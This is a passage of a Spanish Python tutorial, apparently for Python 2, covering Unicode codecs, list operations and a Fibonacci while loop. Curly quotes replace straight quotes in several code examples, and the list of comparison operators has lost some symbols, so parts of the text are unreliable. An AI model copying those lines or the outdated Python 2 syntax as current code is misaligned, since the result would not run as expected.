La función interna unicode() proporciona acceso a todos los codecs (codificadores/descodificadores) Unicode registrados. Algunas de las codificaciones más conocidas a las que pueden convertir estos codecs son Latin-1, ASCII, UTF-8 y UTF-16. Los últimos dos son codificaciones de longitud variable que permiten almacenar caracteres Unicode de 8 o 16 bits. Python usa UTF-8 como codificación por defecto. Ésto se hace patente cuando se presentan cadenas Unicode o se escriben en ficheros.

>>> u”äöü”
u’\344\366\374′
>>> str(u”äöü”)
‘\303\244\303\266\303\274′

Si tienes datos en una codificación específica y quieres obtener la correspondiente cadena Unicode a partir de ellos, puedes usar la función interna unicode() con el nombre de la codificación como segunod argumento.

>>> unicode(’\303\244\303\266\303\274′,’UTF-8′)
u’\344\366\374′

Para reconvertir la cadena Unicode a una cadena con la codificación original, los objetos proporcionan un método encode().

>>> u”äöü”.encode(’UTF-8′)
‘\303\244\303\266\303\274′

3.1.4 Listas

Python utiliza varios tipos de datos compuestos, que se utilizan para agrupar otros valores. El más versátil es la lista, que se puede escribir como una lista de valores (elementos) separada por comas entre corchetes. Los elementos de una lista no tienen que ser todos del mismo tipo.

>>> a = ['fiambre', 'huevos', 100, 1234]
>>> a
['fiambre', 'huevos', 100, 1234]

Como los índices de las cadenas, los índices de una lista empiezan en cero. Las listas también se pueden cortar, concatenar, etc.:

>>> a[0]
‘fiambre’
>>> a[3]
1234
>>> a[-2]
100
>>> a[1:-1]
['huevos', 100]
>>> a[:2] + ['bacon', 2*2]
['fiambre', 'huevos', 'bacon', 4]
>>> 3*a[:3] + ['¡Hey!']
['fiambre', 'huevos', 100, 'fiambre', 'huevos', 100, 'fiambre', 'huevos', 100, '¡Hey!']

A diferencia de las cadenas, que son inmutables, es posible cambiar los elementos de una lista:

>>> a
['fiambre', 'huevos', 100, 1234]
>>> a[2] = a[2] + 23
>>> a
['fiambre', 'huevos', 123, 1234]

Se puede asignar a un corte, lo que puede hasta cambiar el tamaño de la lista:

>>> # Reemplazar elementos:
… a[0:2] = [1, 12]
>>> a
[1, 12, 123, 1234]
>>> # Quitar elementos:
… a[0:2] = []
>>> a
[123, 1234]
>>> # Insertar cosas:
… a[1:1] = ['puaj', 'xyzzy']
>>> a
[123, 'puaj', 'xyzzy', 1234]
>>> a[:0] = a # Insertarse (una copia) al principio de ella misma
>>> a
[123, 'puaj', 'xyzzy', 1234, 123, 'puaj', 'xyzzy', 1234]

La función interna len() se aplica también a las listas:

>>> len(a)
8

Es posible anidar listas (crear listas que contienen otras listas), por ejemplo:

>>> q = [2, 3]
>>> p = [1, q, 4]
>>> len(p)
3
>>> p[1]
[2, 3]
>>> p[1][0]
2
>>> p[1].append(’xtra’) # Consulte la sección 5.1
>>> p
[1, [2, 3, 'xtra'], 4]
>>> q
[2, 3, 'xtra']

Observa que, en el último ejemplo, ¡p[1] y q se refieren en realidad al mismo objeto! Volveremos al tema de la semántica de objetos más tarde.

3.2 Primeros pasos programando

Por supuesto, se puede usar Python para tareas más complejas que sumar dos y dos. Por ejemplo, podemos escribir una secuencia parcial de la serie de Fibonacci3.2 de este modo:

>>> # Serie de Fibonacci:
… # La suma de dos elementos nos da el siguiente
… a, b = 0, 1
>>> while b < 10:
… print b
… a, b = b, a+b

1
1
2
3
5
8

Este ejemplo introduce varias características nuevas.

La primera línea contiene una asignación múltiple: a las variables a y b se les asignan a la vez los nuevos valores 0 y 1. En la última línea se utiliza esto de nuevo, demostrando que las expresiones del lado derecho se evalúan antes que la primera de las asignaciones. Las expresiones del lado derecho se evalúan de izquierda a derecha.

El bucle while se ejecuta mientras la condición (en este caso: b < 10) sea cierta. En Python, como en C, cualquier valor entero no cero es verdadero y 0 es falso. La condición también puede ser una lista o cualquier secuencia, cualquier cosa con longitud no cero es verdadero, las secuencias vacías son falso. La comprobación en este caso es simple. Los operadores de comparación estándar se escriben igual que en C: (mayor que), == (igual a), = (mayor o igual a) y != (diferente de).

El cuerpo del bucle está sangrado (o indentado): Éste es el modo en que Python agrupa las sentencias. Python (todavía) no ofrece un servicio de edición de líneas sangradas, así que hay que teclear a mano un tabulador o espacio(s) para cada línea sangrada. En la práctica, los programas más complejos se realizan con un editor de texto y la mayoría ofrece un servicio de sangrado automático. Cuando se introduce una sentencia compuesta interactivamente, se debe dejar una línea en blanco para indicar el final (porque el analizador de sintaxis no puede adivinar cuándo has acabado) Observa que cada línea de un bloque básico debe estar sangrada al mismo nivel exactamente.

La sentencia print escribe el valor de la expresión o expresiones dadas. Se diferencia de escribir simplemente la expresión (como hemos hecho antes en los ejemplos de la calculadora) en el modo en que gestiona las expresiones múltiples y las cadenas. Las cadenas se imprimen sin comillas y se inserta un espacio entre los elementos para queden las cosas colocadas:

>>> i = 256*256
>>> print ‘El valor de i es’, i
El valor de i es 65536

Si se pone una coma al final se evita el retorno de carro tras la salida:

>>> a, b = 0, 1
>>> while b < 1000:
… print b,
… a, b = b, a+b

1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987

Observa que el intérprete inserta una nueva línea antes de presentar el indicador si la última línea quedó incompleta.